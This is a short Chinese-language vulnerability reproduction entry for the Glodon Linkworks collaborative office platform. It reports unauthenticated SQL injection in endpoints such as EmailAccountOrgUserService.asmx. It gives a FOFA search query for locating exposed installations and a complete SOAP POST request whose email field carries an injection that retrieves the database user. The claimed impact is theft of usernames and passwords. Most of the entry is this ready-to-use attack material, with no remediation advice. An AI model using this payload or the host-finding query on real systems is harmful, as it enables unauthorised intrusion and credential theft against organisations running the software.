G3-6广联达-Linkworks协同办公管理平台-SQL

漏洞描述：

广联达-Linkworks协同办公管理平台 GetUserByEmployeeCode、GetUserByUserCode、EmailAccountOrgUserService.asmx等接口处存在SQL注入漏洞，未经身份认证的攻击者可获取用户名密码等敏感信息。

网站图片：

网络测绘：

fofa语法：

body="Services/Identification/login.ashx" || header="Services/Identification/login.ashx" || banner="Services/Identification/login.ashx"

漏洞复现：

payload：

```
POST /Mail/Services/EmailAccountOrgUserService.asmx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Type: text/xml
Content-Length: 394

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUserInfosByEmail xmlns="http://tempuri.org/">
<email>') AND 5452 IN (SELECT (user)) AND ('oCSe'='oCSe</email>
</GetUserInfosByEmail>
</soap:Body>
</soap:Envelope>
```

效果图:
查询当前用户